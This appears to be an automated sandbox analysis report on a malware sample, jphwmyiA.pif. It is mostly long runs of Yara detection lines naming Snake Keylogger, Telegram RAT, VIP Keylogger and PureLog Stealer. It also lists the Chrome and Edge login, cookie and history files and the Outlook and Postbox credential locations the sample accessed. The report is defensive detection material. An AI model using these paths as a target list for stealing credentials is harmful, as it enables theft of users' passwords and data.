Source: Yara match	File source: 10.2.jphwmyiA.pif.23600ee8.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.20d899de.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23600ee8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.20d899de.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23600000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.24c70000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1e710ee8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.225499de.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23600000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.22770000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23660000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1be499de.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1e710ee8.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1ed60000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.24c70000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.jphwmyiA.pif.1f2f18e0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.20d8a8c6.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.2254a8c6.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.2254a8c6.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.225499de.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1ed60000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23660000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.22770000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1be4a8c6.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.jphwmyiA.pif.1f2f18e0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1be4a8c6.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1be499de.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1e710000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.jphwmyiA.pif.207aee58.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.22770ee8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.20d8a8c6.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.jphwmyiA.pif.207aee58.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1e710000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3761815034.00000000221C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3761096680.0000000023881000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3760427867.000000001D271000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

Yara detected Snake Keylogger

Source: Yara match	File source: 0000000F.00000002.3758305974.000000001C1D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3759044555.00000000227E1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3759975786.0000000021121000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 19.2.jphwmyiA.pif.22770ee8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23600ee8.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.20d899de.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23600ee8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.20d899de.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23600000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.24c70000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1e710ee8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.225499de.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23600000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.22770000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23660000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1be499de.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1e710ee8.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1ed60000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.24c70000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.jphwmyiA.pif.1f2f18e0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.20d8a8c6.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.2254a8c6.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.2254a8c6.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.225499de.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1ed60000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23660000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.22770000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1be4a8c6.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.jphwmyiA.pif.1f2f18e0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1be4a8c6.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1be499de.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1e710000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.jphwmyiA.pif.207aee58.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.22770ee8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.20d8a8c6.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.jphwmyiA.pif.207aee58.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1e710000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: jphwmyiA.pif PID: 7208, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: jphwmyiA.pif PID: 7820, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: jphwmyiA.pif PID: 8016, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 19.2.jphwmyiA.pif.22770ee8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23600ee8.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.20d899de.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23600ee8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.20d899de.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23600000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.24c70000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1e710ee8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.225499de.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23600000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.22770000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23660000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1be499de.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1e710ee8.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1ed60000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.24c70000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.jphwmyiA.pif.1f2f18e0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.20d8a8c6.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.2254a8c6.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.2254a8c6.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.225499de.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1ed60000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23660000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.22770000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1be4a8c6.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.jphwmyiA.pif.1f2f18e0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1be4a8c6.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1be499de.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1e710000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.20d8a8c6.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.jphwmyiA.pif.207aee58.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.22770ee8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.jphwmyiA.pif.207aee58.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1e710000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3759044555.00000000228EC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3759975786.00000000211F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: jphwmyiA.pif PID: 7208, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: jphwmyiA.pif PID: 7820, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: jphwmyiA.pif PID: 8016, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\Public\Libraries\jphwmyiA.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\Public\Libraries\jphwmyiA.pif	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
Source: C:\Users\Public\Libraries\jphwmyiA.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\Public\Libraries\jphwmyiA.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\Public\Libraries\jphwmyiA.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\Public\Libraries\jphwmyiA.pif	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\Public\Libraries\jphwmyiA.pif	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites
Source: C:\Users\Public\Libraries\jphwmyiA.pif	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\Public\Libraries\jphwmyiA.pif	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	Jump to behavior
Source: C:\Users\Public\Libraries\jphwmyiA.pif	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
Source: C:\Users\Public\Libraries\jphwmyiA.pif	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\
Source: C:\Users\Public\Libraries\jphwmyiA.pif	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Source: Yara match	File source: 19.2.jphwmyiA.pif.22770ee8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23600ee8.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.20d899de.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23600ee8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.20d899de.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23600000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.24c70000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1e710ee8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.225499de.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23600000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.22770000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23660000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.20d8a8c6.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1be499de.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1e710ee8.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1ed60000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.24c70000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.jphwmyiA.pif.1f2f18e0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.2254a8c6.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.2254a8c6.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.225499de.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1ed60000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.jphwmyiA.pif.1f2f18e0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1be4a8c6.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23660000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.22770000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1be4a8c6.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1be499de.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1e710000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.20d8a8c6.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.jphwmyiA.pif.207aee58.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.22770ee8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.jphwmyiA.pif.207aee58.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1e710000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3761815034.00000000221C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3759044555.00000000228EC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3758305974.000000001C285000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3761096680.0000000023881000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3762971670.0000000023660000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3757413723.000000001BE09000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3760427867.000000001D271000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3759975786.00000000211F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3764652737.000000001ED60000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3762852858.0000000023600000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: jphwmyiA.pif PID: 7208, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: jphwmyiA.pif PID: 7820, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: jphwmyiA.pif PID: 8016, type: MEMORYSTR

Remote Access Functionality

Yara detected PureLog Stealer

Source: Yara match	File source: 19.2.jphwmyiA.pif.22770ee8.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23600ee8.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.20d899de.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23600ee8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.20d899de.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23600000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.24c70000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1e710ee8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.225499de.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23600000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.22770000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23660000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1be499de.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1e710ee8.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1ed60000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.24c70000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.jphwmyiA.pif.1f2f18e0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.20d8a8c6.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.2254a8c6.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.2254a8c6.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.225499de.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1ed60000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.23660000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.22770000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1be4a8c6.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.3.jphwmyiA.pif.1f2f18e0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1be4a8c6.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1be499de.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1e710000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.jphwmyiA.pif.207aee58.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.jphwmyiA.pif.22770ee8.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.jphwmyiA.pif.20d8a8c6.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.3.jphwmyiA.pif.207aee58.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.jphwmyiA.pif.1e710000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000013.00000003.2330601115.00000000207AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3761815034.00000000221C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000003.2260610637.000000001A4A2000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3758852634.0000000022770000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2131092317.000000001F2F1000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.3757907587.0000000020D49000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3763827438.000000001E710000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3765669211.0000000024C70000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.3758412970.0000000022509000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
